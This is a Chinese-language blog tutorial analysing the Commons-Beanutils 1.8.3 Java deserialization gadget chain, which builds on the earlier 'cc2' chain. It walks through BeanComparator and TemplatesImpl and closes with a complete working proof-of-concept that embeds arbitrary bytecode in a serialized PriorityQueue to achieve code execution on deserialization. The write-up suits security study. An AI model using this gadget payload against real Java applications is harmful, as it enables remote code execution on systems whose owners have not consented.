CB链分析与利用超详细

环境配置

commons-beanutils 1.8.3
commons-logging:commons-logging:1.2
jdk 8u71

pom.xml 添加

<dependency>  
    <groupId>commons-beanutils</groupId>  
    <artifactId>commons-beanutils</artifactId>  
    <version>1.8.3</version>  
</dependency>  
<dependency>  
    <groupId>commons-logging</groupId>  
    <artifactId>commons-logging</artifactId>  
    <version>1.2</version>  
</dependency>

Apache Commons Beanutils是Apache Common下的一个工具集下的另一个项目,提供对普通Java类对象(JavaBean)的一些操作方法

JavaBean 是一种JAVA语言写成的可重用组件,它是一个类。
所谓javaBean,是指符合如下标准的Java类:

  • 类是公共的
  • 有一个无参的公共的构造器
  • 有私有属性,且须有对应的get、set方法去设置属性
  • 对于boolean类型的成员变量,允许使用"is"代替上面的"get"和"set"

在java中,有很多类定义都符合这样的规范。一个简单的 javaBean:

package org.example;  
  
public class Main{  
    private String name = "GRYS";  
    private int age;  
  
    public String getName(){  
        return name;  
    }  
  
    public void setName(String name){  
        this.name = name;  
    }  
    public boolean isChild() {  
        return age <= 18;  
    }  
}

在 CB 中有个工具类叫PropertyUtils,它可以对 javaBean 进行一些操作

PropertyUtils类下提供了一些静态方法,以方便开发者直接调用一些getter和setter方法:

  • getProperty:返回指定Bean的指定属性的值
  • getSimpleProperty:返回指定Bean的指定属性的值
  • setProperty:设置指定Bean的指定属性的值
  • setSimpleProperty:设置指定Bean的指定属性的值
package org.example;  
import org.apache.commons.beanutils.PropertyUtils;  
  
import java.io.IOException;  
  
public class CBtest{  
    public static void main(String[] args)throws Exception {  
    CBtest cb = new CBtest();  
    cb.setName("gaoren");  
    String name1 = (String) PropertyUtils.getProperty(cb, "name");  
    PropertyUtils.setProperty(cb, "name","yusi");  
    String name2 = (String) PropertyUtils.getProperty(cb, "name");  
    System.out.println(name1);  
    System.out.println(name2);  
    }  
    private String name = "GRYS";  
    private int age;  
    public String getName(){  
        return name;  
    }  
  
    public void setName(String name){  
        this.name = name;  
    }  
    public boolean isChild() {  
        return age <= 6;  
    }  
}

这里用到的 getProperty 和 setProperty 实际上就是调用的 javaBean 中的 getter 和 setter 方法

CB 链分析

在 cc2 的基础上,cb 链寻找了个新的 compare 进行利用。在 ysoserial 中给出了最后利用的是BeanComparator.compare() 函数,前面部分和 cc2 没有什么区别。

跟进到 BeanComparator.compare() 函数,

可以看到在不满足property == null 条件后会调用 PropertyUtils.getProperty,这个我们上面说了可以调用 javaBean 的 getter 函数。

接着看,在 ysoserial 中利用其来调用了 Temlatesimpl.getOutputProperties() 方法也就是 _outputProperties 属性的 getter 方法,之前学了 Temlatesimpl 动态加载字节码,知道 getOutputProperties () 函数可以层层触发实现该目的。

所以这里让 o1 为templates对象,然后property为TemplatesImpl的 _outputProperties 属性,即可调用 TemplatesImpl.getOutputProperties() ,最后就可以进行动态加载字节码了。

poc 编写

先实例化 BeanComparator 对象,看其构造函数

我们要让 property 为 outputProperties 属性,这样调用的 getter 函数才是 getOutputProperties(),所以:

BeanComparator comparator = new BeanComparator("outputProperties");

在 ysoserial 是先调用的无参构造函数,然后通过反射修改的 property 属性

BeanComparator comparator = new BeanComparator();
setFieldValue(comparator, "property", "outputProperties");

和 cc2 不同的是因为 cc2 最后是直接由 compare 调用的 transform 方法,而这里是通过 compare 去调用 getter 方法,所以还要控制 compare 方法的参数。

溯源 o1,发现就是传入的 queue 数组,反射修改值

Object[] queue_array = new Object[]{tem,1};  
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  
queue_field.setAccessible(true);  
queue_field.set(queue,queue_array);

最后前面照搬 cc2,后面 comparator 那里换一下就 ok 了,

最终 poc

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.comparators.TransformingComparator;  
import org.apache.commons.collections.functors.ConstantTransformer;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
public class CBtest {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(TrAXFilter.class),  
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})  
        };  
  
        ChainedTransformer cha = new ChainedTransformer(transformers);  
        PriorityQueue queue = new PriorityQueue(1);  
  
        BeanComparator comparator = new BeanComparator("outputProperties");  
  
        queue.add(1);  
        queue.add(1);  
  
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  
        field.setAccessible(true);  
        field.set(queue,comparator);  
  
        Object[] queue_array = new Object[]{tem,1};  
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  
        queue_field.setAccessible(true);  
        queue_field.set(queue,queue_array);  
  
        serilize(queue);  
        deserilize("ser.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}
  • 24
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值